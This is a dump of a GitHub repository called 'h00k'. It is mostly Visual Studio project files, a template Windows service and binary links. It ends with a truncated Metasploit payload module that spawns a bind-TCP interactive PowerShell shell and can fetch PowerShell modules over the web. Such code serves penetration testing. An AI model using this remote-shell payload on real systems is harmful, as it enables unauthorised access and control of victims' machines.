/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/._RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/._RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/._RemoteBuildReview.exe.manifest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/._RemoteBuildReview.exe.manifest -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/RemoteBuildReview.exe.config.deploy: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 0, 0 12 | 13 | 14 | 607, 254 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_2/RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.application: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.application -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.config.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.config.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.manifest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/._RemoteBuildReview.exe.manifest -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/RemoteBuildReview.exe.config.deploy: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 0, 0 13 | 14 | 15 | 0, 0 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 607, 254 24 | 25 | 26 | 27 | 28 | 29 | 0, 0 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_1_0_0_3/RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.application: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.application -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.exe.manifest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/._RemoteBuildReview.exe.manifest -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/RemoteBuildReview.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/Application Files/RemoteBuildReview_3_0_1_1/RemoteBuildReview.exe.deploy -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/publish/setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/publish/setup.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/UpgradeLog.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/UpgradeLog.htm -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/packages/DocX.1.0.0.13/DocX.1.0.0.13.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/packages/DocX.1.0.0.13/DocX.1.0.0.13.nupkg -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/packages/DocX.1.0.0.13/DocX.1.0.0.13.nuspec: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | DocX 5 | 1.0.0.13 6 | Cathal Coffey 7 | Cathal Coffey 8 | http://docx.codeplex.com/license 9 | http://docx.codeplex.com/ 10 | http://download.codeplex.com/Project/Download/FileDownload.aspx?ProjectName=docx&DownloadId=83756&Build=17950 11 | false 12 | DocX is a .NET library that allows developers to manipulate Word 2007 files, in an easy and intuitive manor. 13 | Word 14 | 15 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/packages/DocX.1.0.0.13/lib/net20/DocX.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/packages/DocX.1.0.0.13/lib/net20/DocX.dll -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/packages/DocX.1.0.0.13/lib/net40/DocX.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/packages/DocX.1.0.0.13/lib/net40/DocX.dll -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/packages/repositories.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Service-Perms", "Service-Perms\Service-Perms.csproj", "{79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms.v11.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms.v11.suo -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Service-Perms")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Service-Perms")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("cceb8245-6418-46a3-9e2c-7ab41e7ba59a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/Service-Perms.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {79151C49-A34D-4CC8-9BCE-6E8AF7F79FA4} 8 | Exe 9 | Properties 10 | Service_Perms 11 | Service-Perms 12 | v3.0 13 | 512 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 62 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.exe -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.pdb -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.vshost.exe -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/bin/Debug/Service-Perms.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\administrator\documents\visual studio 2012\Projects\Service-Perms\Service-Perms\bin\Debug\Service-Perms.exe.config 2 | C:\Users\Administrator\Documents\Visual Studio 2012\Projects\Service-Perms\Service-Perms\bin\Debug\Service-Perms.exe 3 | C:\Users\Administrator\Documents\Visual Studio 2012\Projects\Service-Perms\Service-Perms\bin\Debug\Service-Perms.pdb 4 | C:\Users\Administrator\Documents\Visual Studio 2012\Projects\Service-Perms\Service-Perms\obj\Debug\Service-Perms.exe 5 | C:\Users\Administrator\Documents\Visual Studio 2012\Projects\Service-Perms\Service-Perms\obj\Debug\Service-Perms.pdb 6 | C:\Users\Administrator\documents\visual studio 2012\Projects\Service-Perms\Service-Perms\obj\Debug\Service-Perms.csprojResolveAssemblyReference.cache 7 | -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.exe -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/Service-Perms.pdb -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/Service-Perms/Service-Perms/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | h00k 2 | ==== 3 | 4 | h00k 5 | -------------------------------------------------------------------------------- /WindowsService/Backup/WindowsService.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 9.00 3 | # Visual C# Express 2005 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService", "WindowsService\WindowsService.csproj", "{2FA3EE86-6125-4C79-B122-35DFD0083EBA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /WindowsService/Backup/WindowsService/WindowsService.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.50727 7 | 2.0 8 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA} 9 | Exe 10 | Properties 11 | WindowsService 12 | WindowsService 13 | 14 | 15 | true 16 | full 17 | false 18 | bin\Debug\ 19 | DEBUG;TRACE 20 | prompt 21 | 4 22 | 23 | 24 | pdbonly 25 | true 26 | bin\Release\ 27 | TRACE 28 | prompt 29 | 4 30 | 31 | 32 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Component 49 | 50 | 51 | Component 52 | 53 | 54 | -------------------------------------------------------------------------------- /WindowsService/Backup/WindowsService/WindowsServiceInstaller.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Configuration.Install; 4 | using System.ServiceProcess; 5 | 6 | namespace WindowsService 7 | { 8 | [RunInstaller(true)] 9 | public class WindowsServiceInstaller : Installer 10 | { 11 | /// 12 | /// Public Constructor for WindowsServiceInstaller. 13 | /// - Put all of your Initialization code here. 14 | /// 15 | public WindowsServiceInstaller() 16 | { 17 | ServiceProcessInstaller serviceProcessInstaller = new ServiceProcessInstaller(); 18 | ServiceInstaller serviceInstaller = new ServiceInstaller(); 19 | 20 | //# Service Account Information 21 | serviceProcessInstaller.Account = ServiceAccount.LocalSystem; 22 | serviceProcessInstaller.Username = null; 23 | serviceProcessInstaller.Password = null; 24 | 25 | //# Service Information 26 | serviceInstaller.DisplayName = "My New C# Windows Service"; 27 | serviceInstaller.StartType = ServiceStartMode.Automatic; 28 | 29 | // This must be identical to the WindowsService.ServiceBase name 30 | // set in the constructor of WindowsService.cs 31 | serviceInstaller.ServiceName = "My Windows Service"; 32 | 33 | this.Installers.Add(serviceProcessInstaller); 34 | this.Installers.Add(serviceInstaller); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /WindowsService/UpgradeLog.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/UpgradeLog.htm -------------------------------------------------------------------------------- /WindowsService/WindowsService.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsService", "WindowsService\WindowsService.csproj", "{2FA3EE86-6125-4C79-B122-35DFD0083EBA}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /WindowsService/WindowsService.v11.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService.v11.suo -------------------------------------------------------------------------------- /WindowsService/WindowsService/WindowsService.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.50727 7 | 2.0 8 | {2FA3EE86-6125-4C79-B122-35DFD0083EBA} 9 | Exe 10 | Properties 11 | WindowsService 12 | WindowsService 13 | v2.0 14 | 15 | 16 | 17 | 18 | 2.0 19 | 20 | 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | Component 55 | 56 | 57 | Component 58 | 59 | 60 | -------------------------------------------------------------------------------- /WindowsService/WindowsService/WindowsServiceInstaller.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Configuration.Install; 4 | using System.ServiceProcess; 5 | 6 | namespace WindowsService 7 | { 8 | [RunInstaller(true)] 9 | public class WindowsServiceInstaller : Installer 10 | { 11 | /// 12 | /// Public Constructor for WindowsServiceInstaller. 13 | /// - Put all of your Initialization code here. 14 | /// 15 | public WindowsServiceInstaller() 16 | { 17 | ServiceProcessInstaller serviceProcessInstaller = new ServiceProcessInstaller(); 18 | ServiceInstaller serviceInstaller = new ServiceInstaller(); 19 | 20 | //# Service Account Information 21 | serviceProcessInstaller.Account = ServiceAccount.LocalSystem; 22 | serviceProcessInstaller.Username = null; 23 | serviceProcessInstaller.Password = null; 24 | 25 | //# Service Information 26 | serviceInstaller.DisplayName = "My New C# Windows Service"; 27 | serviceInstaller.StartType = ServiceStartMode.Automatic; 28 | 29 | // This must be identical to the WindowsService.ServiceBase name 30 | // set in the constructor of WindowsService.cs 31 | serviceInstaller.ServiceName = "My Windows Service"; 32 | 33 | this.Installers.Add(serviceProcessInstaller); 34 | this.Installers.Add(serviceInstaller); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /WindowsService/WindowsService/bin/Debug/WindowsService.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/bin/Debug/WindowsService.exe -------------------------------------------------------------------------------- /WindowsService/WindowsService/bin/Debug/WindowsService.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/bin/Debug/WindowsService.pdb -------------------------------------------------------------------------------- /WindowsService/WindowsService/bin/Debug/WindowsService.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/bin/Debug/WindowsService.vshost.exe -------------------------------------------------------------------------------- /WindowsService/WindowsService/bin/Debug/WindowsService.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /WindowsService/WindowsService/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /WindowsService/WindowsService/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /WindowsService/WindowsService/obj/Debug/WindowsService.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Administrator\Documents\WindowsService\WindowsService\bin\Debug\WindowsService.exe 2 | C:\Users\Administrator\Documents\WindowsService\WindowsService\bin\Debug\WindowsService.pdb 3 | C:\Users\Administrator\Documents\WindowsService\WindowsService\obj\Debug\WindowsService.exe 4 | C:\Users\Administrator\Documents\WindowsService\WindowsService\obj\Debug\WindowsService.pdb 5 | -------------------------------------------------------------------------------- /WindowsService/WindowsService/obj/Debug/WindowsService.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/obj/Debug/WindowsService.exe -------------------------------------------------------------------------------- /WindowsService/WindowsService/obj/Debug/WindowsService.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/WindowsService/WindowsService/obj/Debug/WindowsService.pdb -------------------------------------------------------------------------------- /git-todo.txt: -------------------------------------------------------------------------------- 1 | Manually Create Git 2 | ===================== 3 | mkdir h00k 4 | git init 5 | git add . 6 | git commit -m 'Comment for commit' 7 | git remote add origin https://github.com/benpturner/h00k.git 8 | git remote -v 9 | git pull 10 | git push origin master 11 | 12 | 13 | Git Clone and Push 14 | =================================================================== 15 | git clone https://github.com/benpturner/h00k.git 16 | git add . 17 | git commit -m 'Comment for commit' 18 | git push origin master 19 | -------------------------------------------------------------------------------- /metasploit/powershell/bind_tcp.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/payload/windows/exec' 8 | 9 | ### 10 | # 11 | # Extends the Exec payload to add a new user. 12 | # 13 | ### 14 | module Metasploit3 15 | 16 | CachedSize = 443 17 | 18 | include Msf::Payload::Windows::Exec 19 | 20 | def initialize(info = {}) 21 | super(update_info(info, 22 | 'Name' => 'Windows Interactive Powershell Session, Bind TCP', 23 | 'Description' => 'Listen for a connection and spawn an interactive powershell session', 24 | 'Author' => 25 | [ 26 | 'Ben Turner', # benpturner 27 | 'Dave Hardy' # davehardy20 28 | ], 29 | 'References' => 30 | [ 31 | ['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/'] 32 | ], 33 | 'License' => MSF_LICENSE, 34 | 'Platform' => 'win', 35 | 'Arch' => ARCH_X86, 36 | 'Handler' => Msf::Handler::BindTcp, 37 | 'Session' => Msf::Sessions::CommandShell, 38 | )) 39 | 40 | # Register command execution options 41 | register_options( 42 | [ 43 | OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), 44 | ], self.class) 45 | # Hide the CMD option...this is kinda ugly 46 | deregister_options('CMD') 47 | end 48 | 49 | # 50 | # compression function for powershell 51 | # 52 | def compress_script(script_in, eof = nil) 53 | 54 | # Compress using the Deflate algorithm 55 | compressed_stream = ::Zlib::Deflate.deflate(script_in, 56 | ::Zlib::BEST_COMPRESSION) 57 | 58 | # Base64 encode the compressed file contents 59 | encoded_stream = Rex::Text.encode_base64(compressed_stream) 60 | 61 | # Build the powershell expression 62 | # Decode base64 encoded command and create a stream object 63 | psh_expression = "$stream = New-Object IO.MemoryStream(," 64 | psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" 65 | # Read & delete the first two bytes due to incompatibility with MS 66 | psh_expression += "$stream.ReadByte()|Out-Null;" 67 | psh_expression += 